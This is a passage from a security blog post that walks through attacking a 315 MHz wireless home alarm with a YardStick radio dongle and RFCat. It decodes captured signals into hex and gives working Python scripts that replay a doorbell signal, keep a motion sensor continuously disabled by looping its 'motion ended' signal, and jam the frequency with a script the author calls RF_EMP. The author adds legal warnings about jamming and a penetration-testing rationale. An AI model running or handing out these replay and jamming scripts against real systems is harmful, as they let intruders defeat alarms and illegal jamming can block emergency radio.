So the main issue here is how many 1’s and how many 0’s are in each peak or valley?? <span class="Apple-converted-space"> </span>Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0’s to make it fit correctly.<span class="Apple-converted-space"> </span>(Probably incorrect but hey it worked LOLs)<span class="Apple-converted-space"> </span></div>
<div class="p4">
10111000 10001011 10111000 10001000 10001011 10111011 10000000</div>
<div class="p2">
<br /></div>
<div class="p4">
What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high’s were Three 111s in length. This seemed reasonable based on how it looks. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
Try converting it yourself, does it look like my representation above?<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<h3>
Convert to Hex:</h3>
<div class="p4">
In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL:<span class="Apple-converted-space"> </span></div>
<div class="p5">
<a href="http://www.binaryhexconverter.com/binary-to-hex-converter">http://www.binaryhexconverter.com/binary-to-hex-converter</a></div>
<div class="p2">
<br /></div>
<div class="p4">
Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a “b” for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
Destroy:~ ficti0n$ <b>rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b</b></div>
<div class="p4">
0xb8</div>
<div class="p4">
0x8b</div>
<div class="p4">
0xb8</div>
<div class="p4">
0x88</div>
<div class="p4">
0x8b</div>
<div class="p4">
0xbb</div>
<div class="p4">
0x80</div>
<div class="p4">
<br /></div>
<div class="p4">
In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.<span class="Apple-converted-space"> </span>We can easily do this with python. Even if you do not code it is very simple code to understand.<span class="Apple-converted-space"> </span>In order to install RFCat you can do the following on OSX:<span class="Apple-converted-space"> </span>(Linux procedures should be the same)<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p3">
<h3>
<b>Install RFCat and Dependencies(libusb, pyusb):<span class="Apple-converted-space"> </span></b></h3>
</div>
<div class="p4">
git clone https://github.com/atlas0fd00m/rfcat.git</div>
<div class="p4">
cd rfcat/</div>
<div class="p4">
sudo python setup.py install</div>
<div class="p4">
cd ../</div>
<div class="p4">
git clone https://github.com/walac/pyusb.git</div>
<div class="p4">
cd pyusb/</div>
<div class="p4">
sudo python setup.py install</div>
<div class="p4">
easy install pip</div>
<div class="p4">
pip install libusb</div>
<div class="p4">
Plug in your device and run the following to verify:<span class="Apple-converted-space"> </span></div>
<div class="p4">
rfcat -r</div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
<b>Setting up your python Replay Attack:<span class="Apple-converted-space"> </span></b></h3>
<div class="p4">
First convert our hex from 0xB8 format to \xB8 format and place it in the following code:</div>
<div class="p4">
Hex Conversion for the python script:<span class="Apple-converted-space"> </span></div>
<div class="p2">
\xb8\x8b\xb8\x88\x8b\xbb\x80</div>
<div class="p4">
<br /></div>
<div class="p4">
I provided a few notations under the code to help understanding but its mostly self explanatory:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
#--------Ring the doorbell--------#:<span class="Apple-converted-space"> </span></div>
<div class="p4">
from rflib import *</div>
<div class="p2">
<br /></div>
<div class="p4">
d = RfCat() <span class="Apple-converted-space"> </span>#1</div>
<div class="p4">
d.setFreq(315005000)<span class="Apple-converted-space"> </span>#2</div>
<div class="p4">
d.setMdmModulation(MOD_ASK_OOK) #3</div>
<div class="p4">
d.setMdmDRate(4800) #4<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
print "Starting"</div>
<div class="p4">
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80”*10) #5</div>
<div class="p4">
print ‘Transmission Complete'</div>
<div class="p2">
<br /></div>
<div class="p4">
#--------End Code --------#</div>
<div class="p4">
#1 Creating a RfCat instance</div>
<div class="p4">
#2 Setting your Frequency to the capture range from your GQRX output</div>
<div class="p4">
#3 Setting the modulation type to ASK Amplitude shift keying</div>
<div class="p4">
#4 Setting your capture rate to that of your GQRX capture settings<span class="Apple-converted-space"> </span></div>
<div class="p4">
#5 Transmit your Hex 10 times</div>
<div class="p2">
<br /></div>
<h2>
<b>Ring Doorbell with Yardstick (First Attempt):<span class="Apple-converted-space"> </span></b></h2>
<div class="p4">
Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
Destroy:ficti0n$ python Door.py</div>
<div class="p4">
Starting</div>
<div class="p4">
Transmission Complete</div>
<div class="p2">
<br /></div>
<div class="p4">
However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1’s instead of One and all of these failed when sending with the Yardstick.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
<b>Doorbell with Yardstick (TroubleShooting):<span class="Apple-converted-space"> </span></b></h3>
<div class="p4">
I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrTZMBtMQW1wuA-4EOL9G-HcAQ8NCP25XUlc8CqzG2g38qOk3kYBSh9SF332bESN_pLkN4-b9dcuE-UHly3cyb8fXyV5wYEPqapZmQJb8YANaUa8q1P7oSysBAb4aUkv-CyIR75dtxhYS9/s1600/YardStickZoomOutCapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="558" data-original-width="1590" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrTZMBtMQW1wuA-4EOL9G-HcAQ8NCP25XUlc8CqzG2g38qOk3kYBSh9SF332bESN_pLkN4-b9dcuE-UHly3cyb8fXyV5wYEPqapZmQJb8YANaUa8q1P7oSysBAb4aUkv-CyIR75dtxhYS9/s640/YardStickZoomOutCapture.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
<br /></div>
<div class="p4">
If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over:<span class="Apple-converted-space"> </span></div>
<div class="p4">
<span class="Apple-converted-space"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg93bv5HDOeQ3l5lxUpcuOVOBvrWrXDVmP6L0Xosc-mFi7XWoZKVu-9OfSjFiTwDeOhsedRatBx8Ob0ilgzsounXQ3OYPsGMzRTRpTsM-5-A1jA-Xt20X6pFX40pa9wXxrl2R5wivzdltS4/s1600/YardStickRepeatcapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="532" data-original-width="1312" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg93bv5HDOeQ3l5lxUpcuOVOBvrWrXDVmP6L0Xosc-mFi7XWoZKVu-9OfSjFiTwDeOhsedRatBx8Ob0ilgzsounXQ3OYPsGMzRTRpTsM-5-A1jA-Xt20X6pFX40pa9wXxrl2R5wivzdltS4/s640/YardStickRepeatcapture.png" width="640" /></a></div>
<div class="p4">
<span class="Apple-converted-space"><br /></span></div>
<div class="p2">
<br /></div>
<div class="p4">
<br /></div>
<div class="p4">
If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHK6txW6Zq8vGn-sPo8A8iJaJwebodW0msirNtTbbywwZNxSD8O_QZGctjRdGo2gq0o4RHVGx62sIjSgnHT6zJtusMW0p_tfpenVLivXHW9wmPt9RdGS6wxm7ZjZ3c4BcawS_rsgK8-3bH/s1600/YardStickZoomInCapture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="622" data-original-width="1410" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHK6txW6Zq8vGn-sPo8A8iJaJwebodW0msirNtTbbywwZNxSD8O_QZGctjRdGo2gq0o4RHVGx62sIjSgnHT6zJtusMW0p_tfpenVLivXHW9wmPt9RdGS6wxm7ZjZ3c4BcawS_rsgK8-3bH/s640/YardStickZoomInCapture.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrw02l0Xin6Nm5P-vID9mkGXtGtUlBaYbG6BkeGBXXk5_t-AOrkVpV3-ZQAlyFSu9rzwN0bJ0_mPdbs5vpzjEksUmlBAmV4QFyzOgjlyAJVi17KuWpSFrQPEqPFPky-Drio7DaabZMFQ4C/s1600/DoorBellZoomedIN.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="616" data-original-width="1090" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrw02l0Xin6Nm5P-vID9mkGXtGtUlBaYbG6BkeGBXXk5_t-AOrkVpV3-ZQAlyFSu9rzwN0bJ0_mPdbs5vpzjEksUmlBAmV4QFyzOgjlyAJVi17KuWpSFrQPEqPFPky-Drio7DaabZMFQ4C/s640/DoorBellZoomedIN.png" width="640" /></a></div>
<div class="p4">
<span class="Apple-converted-space"><br /></span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.<span class="Apple-converted-space"> </span>This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.<span class="Apple-converted-space"> </span>I then doubled it to 6 \x00’s and the doorbell went off. So basically we just needed padding.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.<span class="Apple-converted-space"> </span>Below is the working code :)<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
The following updated code will ring the doorbell using padding:<span class="Apple-converted-space"> </span></div>
<div class="p4">
#--------Ring the doorbell--------#:<span class="Apple-converted-space"> </span></div>
<div class="p4">
from rflib import *</div>
<div class="p2">
<br /></div>
<div class="p4">
d = RfCat()</div>
<div class="p4">
d.setFreq(315005000)</div>
<div class="p4">
d.setMdmModulation(MOD_ASK_OOK)</div>
<div class="p4">
d.setMdmDRate(4800)</div>
<div class="p2">
<br /></div>
<div class="p4">
print (“Starting Transmission”)</div>
<div class="p4">
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00”*10)</div>
<div class="p4">
print (“Transmission Complete”)</div>
<div class="p4">
#--------End Code --------#</div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h2>
Disable the Motion Sensor with No Motion Feature: </h2>
<div class="p4">
Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert.<span class="Apple-converted-space"> </span></div>
<div class="p4">
The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying “there is no motion” and being ready to alert again and bypass the motion sensors security.<span class="Apple-converted-space"> </span>Lets give it a try by capturing the “motion has ended” transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern..<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
Below is a screenshot of the “Motion has ended) transmission in audacity:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC51hTvIVpC0FNK3vbYs0UkJfUbBzNDUxv0AT6AlvmatKsv1d_4zADcfW41Ifcqkwd68mwZvIg7v3kSGhE54aJtXSx2q_oVu4FYe4zefFTzEQl9yGeESF1lxNf2v93gqlbBK8Blo0A_8ue/s1600/Full+TurnLightOff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="467" data-original-width="1600" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC51hTvIVpC0FNK3vbYs0UkJfUbBzNDUxv0AT6AlvmatKsv1d_4zADcfW41Ifcqkwd68mwZvIg7v3kSGhE54aJtXSx2q_oVu4FYe4zefFTzEQl9yGeESF1lxNf2v93gqlbBK8Blo0A_8ue/s640/Full+TurnLightOff.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.<span class="Apple-converted-space"> </span>Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.<span class="Apple-converted-space"> </span>Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx0zqY7-ymHS43rwzdSCtxGHDPsMLVfzLqgMegAePFJERnjTajIiS2op8QjR967JEbGR3mux4VZiIb2TTtbpyVCiQTNs21a3-IVRFw5ZFLC01R0kwad2bQkAZDiT7dBIHqpOS9ijrinsZ_/s1600/FirstPart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="505" data-original-width="1098" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx0zqY7-ymHS43rwzdSCtxGHDPsMLVfzLqgMegAePFJERnjTajIiS2op8QjR967JEbGR3mux4VZiIb2TTtbpyVCiQTNs21a3-IVRFw5ZFLC01R0kwad2bQkAZDiT7dBIHqpOS9ijrinsZ_/s640/FirstPart.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
The opening sequence appears to have all the highs in single 1’s format and most of the lows in 3 000’s format, below is the exact conversion that I came up with adding some 0’s at the end to make the correct byte length…<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
See what you can come up with,<span class="Apple-converted-space"> </span>does it match what I have below?<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000</div>
<div class="p2">
<br /></div>
<div class="p4">
If we convert that to hex we get the following:<span class="Apple-converted-space"> </span></div>
<div class="p4">
Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b</div>
<div class="p4">
0x88</div>
<div class="p4">
0xa2</div>
<div class="p4">
0x8a</div>
<div class="p4">
0x28</div>
<div class="p4">
0xa8</div>
<div class="p4">
0x8a</div>
<div class="p4">
0x28</div>
<div class="p4">
0xa0</div>
<div class="p2">
<br /></div>
<div class="p4">
Hex Conversion for the python script:<span class="Apple-converted-space"> </span></div>
<div class="p4">
\x88\xa2\x8a\x28\xa8\x8a\x28\xa0</div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1’s in single representations and most of its lows in sets of 3 000’s. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing?<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNHZHgvI0oEawHgBr3-veKbJ14WNMHvLyacwTFPEldSeOeupbpBK21y994j1Yd2xUrAm5SkmaSMCdIPYKxN-lJ3vk69qLKCxIiWM37WBdnYk8PYUQQ3lAT2CM16AFox3JvnykR48QyN5Yw/s1600/TurnOffLightZoomIn.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="638" data-original-width="1300" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNHZHgvI0oEawHgBr3-veKbJ14WNMHvLyacwTFPEldSeOeupbpBK21y994j1Yd2xUrAm5SkmaSMCdIPYKxN-lJ3vk69qLKCxIiWM37WBdnYk8PYUQQ3lAT2CM16AFox3JvnykR48QyN5Yw/s640/TurnOffLightZoomIn.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p4">
<b>Repeating Pattern:</b></div>
<div class="p4">
10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000</div>
<div class="p2">
<br /></div>
<div class="p4">
<b>Hex Conversion:</b><span class="Apple-converted-space"> </span>(Used the online tool, R2 didn’t like this binary for some reason)<span class="Apple-converted-space"> </span></div>
<div class="p4">
\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28</div>
<div class="p2">
<br /></div>
<div class="p4">
<h3>
<b>Testing / Troubleshooting:<span class="Apple-converted-space"> </span></b></h3>
</div>
<div class="p4">
I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work.<span class="Apple-converted-space"> </span></div>
<div class="p4">
I then tried sending only the opening sequence and that didn’t work either. <span class="Apple-converted-space"> </span></div>
<div class="p4">
I combined the first part with a repeating 2nd part for 10 iterations<span class="Apple-converted-space"> </span></div>
<div class="p4">
The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely</div>
<div class="p4">
Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing)<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way:<span class="Apple-converted-space"> </span></div>
<div class="p4">
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)</div>
<div class="p2">
<br /></div>
<div class="p4">
The above is very simple, to explain:<br />
<br />
<ul>
<li>First add in your opening patterns HEX values</li>
<li>Pad that with 6 \x00 for spacing</li>
<li>Add the second patterns HEX values and add that with 6 \x00</li>
<li>Now multiply the second part by 10 since in the wave output this part was repeating</li>
</ul>
</div>
<div class="p2">
<br /></div>
<div class="p4">
Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :) <span class="Apple-converted-space"> </span></div>
<div class="p3">
<b>SUCCESS</b></div>
<div class="p2">
<br /></div>
<div class="p4">
As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:</div>
<div class="p2">
<br /></div>
<div class="p4">
#--------Disable The Motion Sensor --------#:<span class="Apple-converted-space"> </span></div>
<div class="p4">
from rflib import *</div>
<div class="p2">
<br /></div>
<div class="p4">
d = RfCat()</div>
<div class="p4">
d.setFreq(315005000)</div>
<div class="p4">
d.setMdmModulation(MOD_ASK_OOK)</div>
<div class="p4">
d.setMdmDRate(4800)</div>
<div class="p2">
<br /></div>
<div class="p4">
while 1:<span class="Apple-converted-space"> </span>#Added a loop to keep the sensor disabled</div>
<div class="p4">
<span class="Apple-tab-span"> </span>print ("Starting Transmission")</div>
<div class="p4">
<span class="Apple-tab-span"> </span>d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)</div>
<div class="p4">
<span class="Apple-tab-span"> </span>print ("Transmission Complete")</div>
<div class="p4">
#--------End Code --------#</div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h2>
<b>Jamming RF With Python:<span class="Apple-converted-space"> </span></b></h2>
<div class="p4">
Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?<span class="Apple-converted-space"> </span>The door alert does not have a disable signal sent back to the receiver, it always alerts when separated.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<h2>
RF Jamming and the FCC:<span class="Apple-converted-space"> </span></h2>
<div class="p4">
One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<br />
<h3>
From the FCC: <a href="https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf">https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf</a></h3>
<h3>
“We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. “</h3>
<div class="p2">
<h3>
<b><br /></b></h3>
<h3>
<b>Notes On the reality of Criminals: </b></h3>
</div>
<div class="p4">
It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.<span class="Apple-converted-space"> </span>Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.<span class="Apple-converted-space"> </span>You may want devices which are hardwired in as a backup.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.<span class="Apple-converted-space"> </span>A simple python script can kill a device in the 315 range and make it in-operable.<span class="Apple-converted-space"> </span></div>
<div class="p4">
<span class="Apple-converted-space"><br /></span></div>
<h3>
<span class="Apple-converted-space">Jamming in Python: </span></h3>
<div class="p4">
I found the below script to be 100% effective while testing within a Faraday enclosure. Basically<span class="Apple-converted-space"> </span>the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.</div>
<div class="p2">
<br /></div>
<div class="p2">
<h3>
<b>Use a Faraday cage for your security testing: </b></h3>
</div>
<div class="p4">
If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p4">
I call the below program RF_EMP,<span class="Apple-converted-space"> </span>not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.<span class="Apple-converted-space"> </span>Which is why you need to use a Faraday cage so as not to interfere with devices you do not own.<span class="Apple-converted-space"> </span></div>
<div class="p4">
Below is a simple manually configurable version of this script.<span class="Apple-converted-space"> </span></div>
<div class="p6">
<h3>
<br />#--------RF_Emp.py Simple Version --------#:<span class="Apple-converted-space"> </span></h3>
<b></b></div>
<div class="p4">
# For use within Faraday Enclosures only</div>
<div class="p4">
from rflib import *</div>
<div class="p2">
<br /></div>
<div class="p4">
print "Start RF Jamming FTW"</div>
<div class="p4">
d = RfCat()</div>
<div class="p4">
d.setMdmModulation(MOD_ASK_OOK)</div>
<div class="p4">
d.setFreq(315000000)</div>
<div class="p4">
d.setMdmSyncMode(0)</div>
<div class="p4">
d.setMdmDRate(4800)</div>
<div class="p4">
d.setMdmChanSpc(24000)</div>
<div class="p4">
d.setModeIDLE()</div>
<div class="p4">
d.setPower(100)</div>
<div class="p4">
d.makePktFLEN(0)</div>
<div class="p2">
<br /></div>
<div class="p4">
print "Starting JAM Session, Make sure your in your Faraday Enclosure..."</div>
<div class="p4">
d.setModeTX() # start transmitting</div>
<div class="p4">
raw_input("Unplug to stop jamming")</div>
<div class="p4">
print 'done'</div>
<div class="p4">
d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)</div>
<div class="p4">
#--------End Code --------#</div>
<div class="p2">
<br /></div>
<h3>
<b>Notes on using Virtual Machines:<span class="Apple-converted-space"> </span></b></h3>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 17.0px 'Helvetica Neue'; color: #454545}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545; min-height: 14.0px}
p.p3 {margin: 0.0px 0.0px 2.0px 0.0px; font: 14.0px 'Helvetica Neue'; color: #454545}
p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545}
p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #e4af0a}
p.p6 {margin: 0.0px 0.0px 2.0px 0.0px; font: 14.0px 'Helvetica Neue'; color: #454545; min-height: 17.0px}
li.li4 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545}
span.s1 {color: #454545}
span.s2 {color: #e4af0a}
span.Apple-tab-span {white-space:pre}
ul.ul1 {list-style-type: hyphen}
</style>
<br />
<div class="p4">
You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission.<span class="Apple-converted-space"> </span></div>
<div class="p4">
<span class="Apple-converted-space"><br /></span></div>
<h2>
<span class="Apple-converted-space">Whats next: </span></h2>
<div class="p4">
<span class="Apple-converted-space">This is it for the first blog.. Other topics will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion. </span></div>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #454545; min-height: 14.0px}
</style>Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com4